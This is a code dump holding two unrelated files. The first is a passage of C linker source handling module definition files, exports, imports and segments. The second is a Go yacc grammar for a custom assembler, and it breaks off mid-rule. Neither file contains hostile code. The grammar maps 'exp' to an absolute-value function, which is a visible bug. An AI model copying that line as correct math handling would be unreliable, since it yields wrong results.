AttachComdat(vrComdat, apropSn->as_gsn);
}
else
apropComdat->ac_selAlloc = ALLOC_UNKNOWN;
MARKVP(); // Page has been changed
// Attach this COMDAT to the ordered procedure list
if (procOrder == VNIL)
procOrder = vrComdat;
else
{
apropComdat = (APROPCOMDATPTR ) FETCHSYM(lastProc, TRUE);
apropComdat->ac_order = vrComdat;
}
lastProc = vrComdat;
}
free(szName);
}
LOCAL void NEAR ProcNamTab(lfa,cb,fres)
long lfa; /* Table starting address */
WORD cb; /* Length of table */
WORD fres; /* Resident name flag */
{
SBTYPE sbExport; /* Exported symbol name */
WORD ordExport; /* Export ordinal */
APROPEXPPTR exp; /* Export symbol table entry */
fseek(bsInput,lfa,0); /* Seek to start of table */
for(cbRec = cb; cbRec != 0; ) /* Loop through table */
{
sbExport[0] = (BYTE) getc(bsInput);/* Get length of name */
fread(&sbExport[1], sizeof(char), B2W(sbExport[0]), bsInput);
/* Get export name */
ordExport = getc(bsInput) | (getc(bsInput) << BYTELN);
if (ordExport == 0) continue;
/* Skip if no ordinal assigned */
exp = (APROPEXPPTR ) PROPSYMLOOKUP(sbExport, ATTREXP, FALSE);
/* Look the export up */
if(exp == PROPNIL || exp->ax_ord != 0) continue;
/* Must exist and be unassigned */
exp->ax_ord = ordExport; /* Assign ordinal */
if (fres)
exp->ax_nameflags |= RES_NAME;
/* Set flag if from resident table */
MARKVP(); /* Page has been changed */
}
}
#if NOT EXE386
LOCAL void NEAR SetExpOrds(void)/* Set export ordinals */
{
struct exe_hdr ehdr; /* Old .EXE header */
struct new_exe hdr; /* New .EXE header */
long lfahdr; /* File offset of header */
if((bsInput = LinkOpenExe(sbOldver)) == NULL)
{ /* If old version can't be opened */
/* Error message and return */
OutWarn(ER_oldopn);
return;
}
SETRAW(bsInput); /* Dec 20 hack */
xread(&ehdr,CBEXEHDR,1,bsInput); /* Read old header */
if(E_MAGIC(ehdr) == EMAGIC) /* If old header found */
{
if(E_LFARLC(ehdr) != sizeof(struct exe_hdr))
{ /* If no new .EXE in this file */
/* Error message and return */
OutWarn(ER_oldbad);
return;
}
lfahdr = E_LFANEW(ehdr); /* Get file address of new header */
}
else lfahdr = 0L; /* Else no old header */
fseek(bsInput,lfahdr,0); /* Seek to new header */
xread(&hdr,CBNEWEXE,1,bsInput); /* Read the header */
if(NE_MAGIC(hdr) == NEMAGIC) /* If correct magic number */
{
ProcNamTab(lfahdr+NE_RESTAB(hdr),(WORD)(NE_MODTAB(hdr) - NE_RESTAB(hdr)),(WORD)TRUE);
/* Process Resident Name table */
ProcNamTab(NE_NRESTAB(hdr),NE_CBNRESTAB(hdr),FALSE);
/* Process Non-resident Name table */
}
else OutWarn(ER_oldbad);
fclose(bsInput); /* Close old file */
}
#endif
LOCAL void NEAR NewDescription(BYTE *sbDesc)
{
#if NOT EXE386
if (NonResidentName.byteMac > 3)
Fatal(ER_dfdesc); /* Should be first time */
AddName(&NonResidentName, sbDesc, 0);
/* Description 1st in non-res table */
#endif
}
#if EXE386
LOCAL void NEAR NewModule(BYTE *sbModnam, BYTE *defaultExt)
#else
LOCAL void NEAR NewModule(BYTE *sbModnam)
#endif
{
WORD length; /* Length of symbol */
#if EXE386
SBTYPE sbModule;
BYTE *pName;
#endif
if(rhteModule != RHTENIL) Fatal(ER_dfname);
/* Check for redefinition */
PROPSYMLOOKUP(sbModnam, ATTRNIL, TRUE);
/* Create hash table entry */
rhteModule = vrhte; /* Save virtual hash table address */
#if EXE386
memcpy(sbModule, sbModnam, sbModnam[0] + 1);
if (sbModule[sbModule[0]] == '.')
{
sbModule[sbModule[0]] = '\0';
length = sbModule[0];
pName = &sbModule[1];
}
else
{
UpdateFileParts(sbModule, defaultExt);
length = sbModule[0] - 2;
pName = &sbModule[4];
}
if (TargetOs == NE_WINDOWS)
SbUcase(sbModule); /* Make upper case */
vmmove(length, pName, AREAEXPNAME, TRUE);
/* Module name 1st in Export Name Table */
cbExpName = length;
#else
if (TargetOs == NE_WINDOWS)
SbUcase(sbModnam); /* Make upper case */
AddName(&ResidentName, sbModnam, 0);/* Module name 1st in resident table */
#endif
fFileNameExpected = (FTYPE) FALSE;
}
void NewExport(sbEntry,sbInternal,ordno,flags)
BYTE *sbEntry; /* Entry name */
BYTE *sbInternal; /* Internal name */
WORD ordno; /* Ordinal number */
WORD flags; /* Flag byte */
{
APROPEXPPTR export; /* Export record */
APROPUNDEFPTR undef; /* Undefined symbol */
APROPNAMEPTR PubName; /* Defined name */
BYTE *sb; /* Internal name */
BYTE ParWrds; /* # of parameter words */
RBTYPE rbSymdef; /* Virtual addr of symbol definition */
#if EXE386
RBTYPE vExport; /* Virtual pointer to export descriptor */
APROPNAMEPTR public; /* Matching public symbol */
#endif
#if DEBUG
fprintf(stdout,"\r\nEXPORT: ");
OutSb(stdout,sbEntry);
NEWLINE(stdout);
if(sbInternal != NULL)
{
fprintf(stdout,"INTERNAL NAME: ");
OutSb(stdout,sbInternal);
NEWLINE(stdout);
}
fprintf(stdout, " ordno %u, flags %u ", (unsigned)ordno, (unsigned)flags);
fflush(stdout);
#endif
sb = (sbInternal != NULL)? sbInternal: sbEntry;
/* Get pointer to internal name */
PubName = (APROPNAMEPTR ) PROPSYMLOOKUP(sb, ATTRPNM, FALSE);
#if NOT EXE386
if(PubName != PROPNIL && !fDrivePass)
/* If internal name already exists as a public symbol
* and we are parsing definition file, issue
* export internal name conflict warning.
*/
OutWarn(ER_expcon,sbEntry+1,sb+1);
else /* Else if no conflict */
{
#endif
if (PubName == PROPNIL) /* If no matching name exists */
undef = (APROPUNDEFPTR ) PROPSYMLOOKUP(sb,ATTRUND, TRUE);
/* Make undefined symbol entry */
#if TCE
#if TCE_DEBUG
fprintf(stdout, "\r\nNewExport adds UNDEF %s ", 1+GetPropName(undef));
#endif
undef->au_fAlive = TRUE; /* all exports are potential entry points */
#endif
rbSymdef = vrprop; /* Save virtual address */
if (PubName == PROPNIL) /* If this is a new symbol */
undef->au_len = -1L; /* Make no type assumptions */
export = (APROPEXPPTR ) PROPSYMLOOKUP(sbEntry,ATTREXP, TRUE);
/* Create export record */
#if EXE386
vExport = vrprop;
#endif
if(vfCreated) /* If this is a new entry */
{
export->ax_symdef = rbSymdef;
/* Save virt addr of symbol def */
export->ax_ord = ordno;
/* Save ordinal number */
if (nameFlags & RES_NAME)
export->ax_nameflags |= RES_NAME;
/* Remember if resident */
else if (nameFlags & NO_NAME)
export->ax_nameflags |= NO_NAME;
/* Remember to discard name */
export->ax_flags = (BYTE) flags;
/* Save flags */
++expMac; /* One more exported symbol */
}
else
{
if (!fDrivePass) /* Else if parsing definition file */
/* multiple definitions */
OutWarn(ER_expmul,sbEntry + 1);
/* Output error message */
else
{ /* We were called for EXPDEF object */
/* record, so we merge information */
ParWrds = (BYTE) (export->ax_flags & 0xf8);
if (ParWrds && (ParWrds != (BYTE) (flags & 0xf8)))
Fatal(ER_badiopl);
/* If the iopl_parmwords field in the */
/* .DEF file is not 0 and does not match */
/* value in the EXPDEF exactly issue error */
else if (!ParWrds)
{ /* Else set value from EXPDEF record */
ParWrds = (BYTE) (flags & 0xf8);
export->ax_flags |= ParWrds;
}
}
}
#if EXE386
if (PubName != NULL)
{
if (expOtherFlags & 0x1)
{
export->ax_nameflags |= CONSTANT;
expOtherFlags = 0;
}
}
#endif
#if NOT EXE386
}
#endif
if(!(flags & 0x8000))
{
free(sbEntry); /* Free space */
if(sbInternal != NULL) free(sbInternal);
}
/* Free space */
nameFlags = 0;
}
LOCAL APROPIMPPTR NEAR GetImport(sb) /* Get name in Imported Names Table */
BYTE *sb; /* Length-prefixed names */
{
APROPIMPPTR import; /* Pointer to imported name */
#if EXE386
DWORD cbTemp; /* Temporary value */
#else
WORD cbTemp; /* Temporary value */
#endif
RBTYPE rprop; /* Property cell virtual address */
import = (APROPIMPPTR ) PROPSYMLOOKUP(sb,ATTRIMP, TRUE);
/* Look up module name */
if(vfCreated) /* If no offset assigned yet */
{
rprop = vrprop; /* Save the virtual address */
/*
* WARNING: We must store name in virtual memory now, otherwise
* if an EXTDEF was seen first, fIgnoreCase is false, and the
* cases do not match between the imported name and the EXTDEF,
* then the name will not go in the table exactly as given.
*/
import = (APROPIMPPTR) FETCHSYM(rprop,TRUE);
/* Retrieve from symbol table */
import->am_offset = AddImportedName(sb);
/* Save offset */
}
return(import); /* Return offset in table */
}
#if NOT EXE386
void NewImport(sbEntry,ordEntry,sbModule,sbInternal)
BYTE *sbEntry; /* Entry point name */
WORD ordEntry; /* Entry point ordinal */
BYTE *sbModule; /* Module name */
BYTE *sbInternal; /* Internal name */
{
APROPNAMEPTR public; /* Public symbol */
APROPIMPPTR import; /* Imported symbol */
BYTE *sb; /* Symbol pointer */
WORD module; /* Module name offset */
FTYPE flags; /* Import flags */
WORD modoff; /* module name offset */
WORD entry; /* Entry name offset */
BYTE *cp; /* Char pointer */
RBTYPE rpropundef; /* Address of undefined symbol */
char buf[32]; /* Buffer for error sgring */
#if DEBUG
fprintf(stderr,"\r\nIMPORT: ");
OutSb(stderr,sbModule);
fputc('.',stderr);
if(!ordEntry)
{
OutSb(stderr,sbEntry);
}
else fprintf(stderr,"%u",ordEntry);
if(sbInternal != sbEntry)
{
fprintf(stderr," ALIAS: ");
OutSb(stderr,sbInternal);
}
fprintf(stdout," ordEntry %u ", (unsigned)ordEntry);
fflush(stdout);
#endif
if((public = (APROPNAMEPTR ) PROPSYMLOOKUP(sbInternal, ATTRUND, FALSE)) !=
PROPNIL && !fDrivePass) /* If internal names conflict */
{
if(sbEntry != NULL)
sb = sbEntry;
else
{
sprintf(buf + 1,"%u",ordEntry);
sb = buf;
}
OutWarn(ER_impcon,sbModule + 1,sb + 1,sbInternal + 1);
}
else /* Else if no conflicts */
{
rpropundef = vrprop; /* Save virtual address of extern */
flags = FIMPORT; /* We have an imported symbol */
if (TargetOs == NE_WINDOWS)
SbUcase(sbModule); /* Force module name to upper case */
import = GetImport(sbModule); /* Get pointer to import record */
if((module = import->am_mod) == 0)
{
// If not in Module Reference Table
import->am_mod = WordArrayPut(&ModuleRefTable, import->am_offset) + 1;
/* Save offset of name in table */
module = import->am_mod;
}
if(vrhte == rhteModule) /* If importing from this module */
{
if(sbEntry != NULL)
sb = sbEntry;
else
{
sprintf(buf+1,"%u",ordEntry);
sb = buf;
}
if (TargetOs == NE_OS2)
OutWarn(ER_impself,sbModule + 1,sb + 1,sbInternal + 1);
else
OutError(ER_impself,sbModule + 1,sb + 1,sbInternal + 1);
}
if(sbEntry == NULL) /* If entry by ordinal */
{
flags |= FIMPORD; /* Set flag bit */
entry = ordEntry; /* Get ordinal number */
}
else /* Else if import by name */
{
if(fIgnoreCase) SbUcase(sbEntry);
/* Upper case the name if flag set */
import = GetImport(sbEntry);
entry = import->am_offset;
/* Get offset of name in table */
}
if(public == PROPNIL) /* If no undefined symbol */
{
public = (APROPNAMEPTR )
PROPSYMLOOKUP(sbInternal,ATTRPNM, TRUE);
/* Make a public symbol */
if(!vfCreated) /* If not new */
/* Output error message */
OutWarn(ER_impmul,sbInternal + 1);
else ++pubMac; /* Else increment public count */
}
else /* Else if symbol is undefined */
{
public = (APROPNAMEPTR ) FETCHSYM(rpropundef,TRUE);
/* Look up external symbol */
++pubMac; /* Increment public symbol count */
}
flags |= FPRINT; /* Symbol is printable */
public->an_attr = ATTRPNM; /* This is a public symbol */
public->an_gsn = SNNIL; /* Not a segment member */
public->an_ra = 0; /* No known offset */
public->an_ggr = GRNIL; /* Not a group member */
public->an_flags = flags; /* Set flags */
public->an_entry = entry; /* Save entry specification */
public->an_module = module; /* Save Module Reference Table index */
#if SYMDEB AND FALSE
if (fSymdeb) /* If debugger support on */
{
if (flags & FIMPORD)
import = GetImport(sbInternal);
else /* Add internal name to Imported Name Table */
import = GetImport(sbEntry);
import->am_public = public;
/* Remember public symbol */
if (cbImpSeg < LXIVK-1)
cbImpSeg += sizeof(CVIMP);
}
#endif
}
}
#endif
#if OVERLAYS
extern void NEAR GetName(AHTEPTR ahte, BYTE *pBuf);
#endif
/*** NewSeg - new segment definition
*
* Purpose:
* Create new segment definition based on the module definition
* file segment description. Check for duplicate definitions and
* overlay index inconsistency between attached COMDATs (if any)
* and segment itself.
*
* Input:
* sbName - segment name
* sbClass - segment class
* iOvl - segment overlay index
* flags - segment attributes
*
* Output:
* No explicit value is returned. The segment descriptor in
* symbol table is created or updated.
*
* Exceptions:
* Multiple segment definitions - warning and continue
* Change in overlay index - warning and continue
*
* Notes:
* None.
*
*************************************************************************/
void NEAR NewSeg(BYTE *sbName, BYTE *sbClass, WORD iOvl,
#if EXE386
DWORD flags)
#else
WORD flags)
#endif
{
APROPSNPTR apropSn; // Pointer to segment descriptor
#if OVERLAYS
RBTYPE vrComdat; // Virtual pointer to COMDAT descriptor
APROPCOMDATPTR apropComdat; // Symbol table entry for COMDAT symbol
SBTYPE sbComdat; // Name buffer
#endif
// Set segment attributes based on the class
if (SbSuffix(sbClass,"\004CODE",TRUE))
flags |= dfCode & ~offmask;
else
flags |= dfData & ~offmask;
#if O68K
if (f68k)
flags |= NS32BIT;
#endif
#if OVERLAYS
if (iOvl != NOTIOVL)
{
fOverlays = (FTYPE) TRUE;
fNewExe = FALSE;
if (iOvl >= iovMac) // Set the maximum overlay index
iovMac = iOvl + 1;
}
#endif
// Generate new segment definition
apropSn = GenSeg(sbName, sbClass, GRNIL, (FTYPE) TRUE);
if (vfCreated)
{
apropSn->as_flags = (WORD) flags;
// Save flags
mpgsndra[apropSn->as_gsn] = 0; // Initialize
#if OVERLAYS
apropSn->as_iov = iOvl; // Save overlay index
if (fOverlays)
CheckOvl(apropSn, iOvl);
#endif
apropSn->as_fExtra |= (BYTE) FROM_DEF_FILE;
// Remember defined in def file
if (fMixed)
{
apropSn->as_fExtra |= (BYTE) MIXED1632;
fMixed = (FTYPE) FALSE;
}
}
else
{
apropSn = CheckClass(apropSn, apropSn->as_rCla);
// Check if previous definition had the same class
OutWarn(ER_segdup,sbName + 1); // Warn about multiple definition
#if OVERLAYS
if (fOverlays && apropSn->as_iov != iOvl)
{
if (apropSn->as_iov != NOTIOVL)
OutWarn(ER_badsegovl, 1 + GetPropName(apropSn), apropSn->as_iov, iOvl);
apropSn->as_iov = iOvl; // Save new overlay index
CheckOvl(apropSn, iOvl);
// Check if segment has any COMDATs and if it has
// then check theirs overlay numbers
for (vrComdat = apropSn->as_ComDat;
vrComdat != VNIL;
vrComdat = apropComdat->ac_sameSeg)
{
apropComdat = (APROPCOMDATPTR ) FetchSym(vrComdat, FALSE);
if (apropComdat->ac_iOvl != NOTIOVL && apropComdat->ac_iOvl != iOvl)
{
GetName((AHTEPTR) apropComdat, sbComdat);
OutWarn(ER_badcomdatovl, &sbComdat[1], apropComdat->ac_iOvl, iOvl);
}
apropComdat->ac_iOvl = iOvl;
}
}
#endif
}
free(sbClass); // Free class name
free(sbName); // Free segment name
offmask = 0;
// Unless packing limit already set, disable default code packing
if (!fPackSet)
{
fPackSet = (FTYPE) TRUE; // Remember packLim was set
packLim = 0L;
}
}
/*
* Assign module name to be default, which is run file name.
*
* SIDE EFFECTS
* Assigns rhteModule
*/
#if EXE386
LOCAL void NEAR DefaultModule (unsigned char *defaultExt)
#else
LOCAL void NEAR DefaultModule (void)
#endif
{
SBTYPE sbModname; /* Module name */
AHTEPTR ahte; /* Pointer to hash table entry */
#if OSXENIX
int i;
#endif
ahte = (AHTEPTR ) FETCHSYM(rhteRunfile,FALSE);
/* Get executable file name */
#if OSMSDOS
memcpy(sbModname,GetFarSb(ahte->cch),B2W(ahte->cch[0]) + 1);
/* Copy file name */
#if EXE386
NewModule(sbModname, defaultExt); /* Use run file name as module name */
#else
UpdateFileParts(sbModname,"\005A:\\.X");
/* Force path, ext with known length */
sbModname[0] -= 2; /* Remove extension from name */
sbModname[3] = (BYTE) (sbModname[0] - 3);
/* Remove path and drive from name */
NewModule(&sbModname[3]); /* Use run file name as module name */
#endif
#endif
#if OSXENIX
for(i = B2W(ahte->cch[0]); i > 0 && ahte->cch[i] != '/'; i--)
sbModname[0] = B2W(ahte->cch[0]) - i;
memcpy(sbModname+1,&GetFarSb(ahte->cch)[i+1],B2W(sbModname[0]));
for(i = B2W(ahte->cch[0]); i > 1 && sbModname[i] != '.'; i--);
if(i > 1)
sbModname[0] = i - 1;
NewModule(sbModname); /* Use run file name as module name */
#endif
}
void ParseDeffile(void)
{
SBTYPE sbDeffile; /* Definitions file name */
AHTEPTR ahte; /* Pointer to hash table entry */
#if OSMSDOS
char buf[512]; /* File buffer */
#endif
if(rhteDeffile == RHTENIL) /* If no definitions file */
#if EXE386
DefaultModule(moduleEXE);
#else
DefaultModule();
#endif
else /* Else if there is a file to parse */
{
#if ODOS3EXE
fNewExe = (FTYPE) TRUE; /* Def file forces new-format exe */
#endif
ahte = (AHTEPTR ) FETCHSYM(rhteDeffile,FALSE);
/* Fetch file name */
memcpy(sbDeffile,GetFarSb(ahte->cch),B2W(ahte->cch[0]) + 1);
/* Copy file name */
sbDeffile[B2W(sbDeffile[0]) + 1] = '\0';
/* Null-terminate the name */
if((bsInput = fopen(&sbDeffile[1],RDTXT)) == NULL)
{ /* If open fails */
Fatal(ER_opndf, &sbDeffile[1]);/* Fatal error */
}
#if OSMSDOS
setvbuf(bsInput,buf,_IOFBF,sizeof(buf));
#endif
includeDisp[0] = bsInput; // Initialize include stack
sbOldver = NULL; /* Assume no old version */
yylineno = 1;
fFileNameExpected = (FTYPE) FALSE;
// HACK ALERT !!!
// Don't allocate to much page buffers
yyparse(); /* Parse the definitions file */
yylineno = -1;
fclose(bsInput); /* Close the definitions file */
#if NOT EXE386
if(sbOldver != NULL) /* If old version given */
{
SetExpOrds(); /* Use old version to set ordinals */
free(sbOldver); /* Release the space */
}
#endif
}
#if OSMSDOS
#endif /* OSMSDOS */
#if NOT EXE386
if (NonResidentName.byteMac == 0)
{
ahte = (AHTEPTR ) FETCHSYM(rhteRunfile,FALSE);
/* Get executable file name */
memcpy(sbDeffile,GetFarSb(ahte->cch),B2W(ahte->cch[0]) + 1);
/* Copy file name */
#if OSXENIX
SbUcase(sbDeffile); /* For identical executables */
#endif
if ((vFlags & NENOTP) && TargetOs == NE_OS2)
UpdateFileParts(sbDeffile, sbDotDll);
else
UpdateFileParts(sbDeffile, sbDotExe);
NewDescription(sbDeffile); /* Use run file name as description */
}
#endif
}
|
<reponame>notti/dis_se<filename>asm/parser.y
%{
package parser
import . "mp"
import "strings"
import "math"
import "fmt"
type constScanner interface {
AddConst(id string, num int64)
AddConstf(id string, num float64)
}
var mems map[string]int
var membase int
var mpFunction MPFunction
var mpFunctions map[string][]Argument
var mpFunctionIds [8]string
var code []interface{}
var labels map[string]int
func ParserInit() {
mems = make(map[string]int)
mpFunctions = make(map[string][]Argument)
code = make([]interface{}, 0, 4096)
labels = make(map[string]int)
labels["SERIAL"] = 0xFFFF
}
type variable struct {
id int
signed bool
fix int
typed bool
}
func mpMerge(a, b variable) (bool, int, bool, bool) {
if a.typed && b.typed {
if a.signed != b.signed || a.fix != b.fix {
return false, 0, false, false
}
return a.signed, a.fix, true, true
}
if a.typed {
return a.signed, a.fix, true, true
}
if b.typed {
return b.signed, b.fix, true, true
}
return false, 0, false, true
}
type argtype int
const (
ARG_REGISTER argtype = iota
ARG_LABEL
ARG_IMMEDIATE
)
type asmarg struct {
reg int64
id string
num int64
t argtype
}
%}
%union{
Num int64
Fnum float64
Id string
Ival int
Bval bool
Var variable
Arg asmarg
Args []asmarg
}
%token <Num> LITERAL FIX REGISTER REGISTERLH
%token <Fnum> FLOAT
%token <Id> IDENTIFIER
%token CONST DEFINE MEM REG LAST IMM UNSIGNED SIGNED RSHIFT LSHIFT DB DW INT
%token <Num> OP MOV OP1 OP2 OP3
%type <Num> integer florint register registerlh
%type <Fnum> float florintF
%type <Ival> type fixed membase memrev signed
%type <Var> var rightvar eqn
%type <Arg> asmarg mparg
%type <Args> mparglist mpargs
%left '+' '-' '|' '^'
%left '*' '/' '%' '&' RSHIFT LSHIFT
%start program
%%
program : statements
{
for i, cp := range code {
if label, ok := cp.(string); ok {
if c, ok := labels[label]; ok {
code[i] = uint16(c)
} else {
Parserlex.Error("label " + label + " not found")
return 1
}
}
}
fmt.Print("@0000")
for _, cp := range code {
c := cp.(uint16)
fmt.Printf(" %1X", c&0xF)
fmt.Printf("%1X", (c>>4)&0xF)
fmt.Printf("%1X", (c>>8)&0xF)
fmt.Printf("%1X", (c>>12)&0xF)
}
fmt.Println()
}
;
statements : /* empty */
| statements statement
;
statement : '\n'
| const '\n'
| define '\n'
| asm '\n'
;
florint : float
{
$$ = int64($1)
}
| integer
;
florintF : float
| integer
{
$$ = float64($1)
}
;
float : FLOAT
| '-' float %prec '*'
{
$$ = -$2
}
| float '+' float
{
$$ = $1 + $3
}
| float '+' integer
{
$$ = $1 + float64($3)
}
| integer '+' float
{
$$ = float64($1) + $3
}
| float '-' float
{
$$ = $1 - $3
}
| float '-' integer
{
$$ = $1 - float64($3)
}
| integer '-' float
{
$$ = float64($1) - $3
}
| float '*' float
{
$$ = $1 * $3
}
| float '*' integer
{
$$ = $1 * float64($3)
}
| integer '*' float
{
$$ = float64($1) * $3
}
| float '/' float
{
$$ = $1 / $3
}
| float '/' integer
{
$$ = $1 / float64($3)
}
| integer '/' float
{
$$ = float64($1) / $3
}
| IDENTIFIER '(' florintF ')'
{
switch(strings.ToLower($1)) {
case "sin": $$ = math.Sin($3)
case "cos": $$ = math.Cos($3)
case "tan": $$ = math.Tan($3)
case "sinh": $$ = math.Sinh($3)
case "cosh": $$ = math.Cosh($3)
case "tanh": $$ = math.Tanh($3)
case "asin": $$ = math.Asin($3)
case "acos": $$ = math.Acos($3)
case "atan": $$ = math.Atan($3)
case "asinh": $$ = math.Asinh($3)
case "acosh": $$ = math.Acosh($3)
case "atanh": $$ = math.Atanh($3)
case "log": $$ = math.Log($3)
case "log10": $$ = math.Log10($3)
case "log2": $$ = math.Log2($3)
case "sqrt": $$ = math.Sqrt($3)
case "floor": $$ = math.Floor($3)
case "ceil": $$ = math.Ceil($3)
case "abs": $$ = math.Abs($3)
case "exp": $$ = math.Abs($3)
default:
Parserlex.Error("function " + $1 + " not defined or wrong argument count")
return 1
}
}
| IDENTIFIER '(' florintF ',' florintF ')'
{
switch(strings.ToLower($1)) {
case "pow": $$ = math.Pow($3, $5)
case "atan2": $$ = math.Atan2($3, $5)
default:
Parserlex.Error("function " + $1 + " not defined or wrong argument count")
return 1
}
}
;
integer : '(' integer ')'
{
$$ = $2
}
| integer '+' integer
{
$$ = $1 + $3
}
| integer '-' integer
{
$$ = $1 - $3
}
| integer '*' integer
{
$$ = $1 * $3
}
| integer '/' integer
{
$$ = $1 / $3
}
| integer '%' integer
{
$$ = $1 % $3
}
| integer '&' integer
{
$$ = $1 & $3
}
| integer '|' integer
{
$$ = $1 | $3
}
| integer '^' integer
{
$$ = $1 ^ $3
}
| integer LSHIFT integer
{
$$ = $1 << uint64($3)
}
| integer RSHIFT integer
{
$$ = $1 >> uint64($3)
}
| '-' integer %prec '*'
{
$$ = -$2
}
| LITERAL
| INT '(' florint ')'
{
$$ = $3
}
;
const : CONST IDENTIFIER integer
{
{
lexer := Parserlex.(constScanner)
lexer.AddConst($2, $3)
}
}
| CONST IDENTIFIER float
{
{
lexer := Parserlex.(constScanner)
lexer.AddConstf($2, $3)
}
}
;
type : REG
{
$$ = ARG_REG
}
| IDENTIFIER
{
v, ok := mems[$1]
if !ok {
Parserlex.Error("mem " + $1 + " not defined")
return 1
}
membase = v
$$ = ARG_MEM
}
| MEM LITERAL
{
if $2 < 0 || $2 > 3 {
Parserlex.Error("mem must be in range 0-3")
return 1
}
membase = int($2)
$$ = ARG_MEM
}
| IMM
{
$$ = ARG_IMM
}
| LAST
{
$$ = ARG_NONE
}
;
signed : /* no modifier */
{
$$ = -1
}
| UNSIGNED
{
$$ = 0
}
| SIGNED
{
$$ = 1
}
;
fixed : /* not fixed */
{
$$ = -1
}
| FIX
{
if $1 > 7 || $1 < 0 {
Parserlex.Error("fix must be 1-7")
return 1
}
$$ = int($1)
}
;
argument : signed fixed { membase = 0 } type IDENTIFIER
{
signed := false
if $1 == 1 {
signed = true
}
if $2 == -1 {
$2 = 0
}
if err := mpFunction.AddArgument(signed, $2, $4, membase, $5); err != nil {
Parserlex.Error(err.Error())
return 1
}
}
;
arguments : argument
| arguments ',' argument
;
membase : IDENTIFIER
{
v, ok := mems[$1]
if !ok {
Parserlex.Error("mem " + $1 + " not defined")
return 1
}
$$ = v
}
| MEM LITERAL
{
if $2 < 0 || $2 > 3 {
Parserlex.Error("mem must be in range 0-3")
return 1
}
$$ = int($2)
}
;
memrev :
{
$$ = 0
}
| '^' LITERAL
{
if $2 < 2 || $2 > 8 {
Parserlex.Error("reverse addressing must be in range 2-8")
return 1
}
$$ = int($2) - 1
}
;
var : IDENTIFIER
{
id, signed, fix, ok := mpFunction.GetNamedRegister($1)
if ok == false {
Parserlex.Error("variable " + $1 + " unknown")
return 1
}
$$.id = id
$$.signed = signed
$$.fix = fix
$$.typed = true
}
| membase '[' IDENTIFIER ']'
{
id, ok := mpFunction.AddRMemory($1, $3)
if ok == false {
Parserlex.Error("variable " + $3 + " unknown")
return 1
}
$$.id = id
$$.signed = false
$$.fix = 0
$$.typed = false
}
;
rightvar : signed fixed var
{
$$ = $3
switch $1 {
case 0:
$$.signed = false
$$.typed = true
case 1:
$$.signed = true
$$.typed = true
}
if $2 != -1 {
$$.fix = $2
$$.typed = true
}
}
| LITERAL
{
switch $1 {
case 0:
$$.id = ALUIN_0
case 1:
$$.id = ALUIN_1
default:
Parserlex.Error("only 0 or 1 allowed as literal")
return 1
}
$$.signed = false
$$.fix = 0
$$.typed = false
}
;
eqn : rightvar
| '(' eqn ')'
{
$$ = $2
}
| eqn '+' eqn
{
signed, fix, typed, ok := mpMerge($1, $3)
if ok == false {
Parserlex.Error("variable types don't match!")
return 1
}
$$.signed = signed
$$.fix = fix
$$.typed = typed
$$.id = mpFunction.AddRegister(signed, fix)
mpFunction.AddTerm($1.id, $3.id, ALU_ADD, signed, fix, $$.id)
}
| eqn '-' eqn
{
signed, fix, typed, ok := mpMerge($1, $3)
if ok == false {
Parserlex.Error("variable types don't match!")
return 1
}
$$.signed = signed
$$.fix = fix
$$.typed = typed
$$.id = mpFunction.AddRegister(signed, fix)
mpFunction.AddTerm($1.id, $3.id, ALU_SUB, signed, fix, $$.id)
}
| eqn '*' eqn
{
signed, fix, typed, ok := mpMerge($1, $3)
if ok == false {
Parserlex.Error("variable types don't match!")
return 1
}
$$.signed = signed
$$.fix = fix
$$.typed = typed
$$.id = mpFunction.AddRegister(signed, fix)
mpFunction.AddTerm($1.id, $3.id, ALU_MUL, signed, fix, $$.id)
}
| eqn RSHIFT eqn
{
signed, fix, typed, ok := mpMerge($1, $3)
if ok == false {
Parserlex.Error("variable types don't match!")
return 1
}
$$.signed = signed
$$.fix = fix
$$.typed = typed
$$.id = mpFunction.AddRegister(signed, fix)
mpFunction.AddTerm($1.id, $3.id, ALU_RSHIFT, signed, fix, $$.id)
}
| eqn '|' eqn
{
signed, fix, typed, ok := mpMerge($1, $3)
if ok == false {
Parserlex.Error("variable types don't match!")
return 1
}
$$.signed = signed
$$.fix = fix
$$.typed = typed
$$.id = mpFunction.AddRegister(signed, fix)
mpFunction.AddTerm($1.id, $3.id, ALU_OR, signed, fix, $$.id)
}
| eqn '^' eqn
{
signed, fix, typed, ok := mpMerge($1, $3)
if ok == false {
Parserlex.Error("variable types don't match!")
return 1
}
$$.signed = signed
$$.fix = fix
$$.typed = typed
$$.id = mpFunction.AddRegister(signed, fix)
mpFunction.AddTerm($1.id, $3.id, ALU_XOR, signed, fix, $$.id)
}
| eqn '&' eqn
{
signed, fix, typed, ok := mpMerge($1, $3)
if ok == false {
Parserlex.Error("variable types don't match!")
return 1
}
$$.signed = signed
$$.fix = fix
$$.typed = typed
$$.id = mpFunction.AddRegister(signed, fix)
mpFunction.AddTerm($1.id, $3.id, ALU_AND, signed, fix, $$.id)
}
;
bodyline :
| IDENTIFIER '=' eqn
{
mpFunction.AddNamedRegister($1, $3.id)
}
| membase '[' memrev IDENTIFIER ']' '=' eqn
{
ok1, ok2 := mpFunction.AddWMemory($1, $3, $4, $7.id)
if ok1 == false {
Parserlex.Error("variable " + $4 + " unknown")
return 1
}
if ok2 == false {
Parserlex.Error("can't assign memory location twize")
return 1
}
}
;
body : bodyline '\n'
| body bodyline '\n'
;
define : DEFINE IDENTIFIER MEM LITERAL
{
if $4 < 0 || $4 > 3 {
Parserlex.Error("mem must be in range 0-3")
return 1
}
if _, ok := mems[$2]; ok {
Parserlex.Error("mem " + $2 + " already defined")
return 1
}
mems[$2] = int($4)
}
| DEFINE IDENTIFIER LITERAL '('
{
if _, ok := mpFunctions[$2]; ok {
Parserlex.Error("function named " + $2 + " already defined")
return 1
}
if $3 > 7 || $3 < 0 {
Parserlex.Error("function slot needs to be in range from 0-7")
return 1
}
mpFunction = NewMPFunction()
} arguments ')' '{' '\n' body '}'
{
fdef, stripped, err := mpFunction.Emit($2)
if err != nil {
Parserlex.Error("function " + $2 + ": " + err.Error())
return 1
}
mpFunctions[$2] = stripped
if mpFunctionIds[$3] != "" {
delete(mpFunctions, mpFunctionIds[$3])
}
mpFunctionIds[$3] = $2
code = append(code, uint16(0x00C8 | uint16($3)))
for _, f := range fdef {
code = append(code, f)
}
}
;
label : IDENTIFIER ':'
{
if _, ok := labels[$1]; ok {
Parserlex.Error("label named " + $1 + " already defined")
return 1
}
labels[$1] = len(code)
}
;
registerlh : REGISTERLH
{
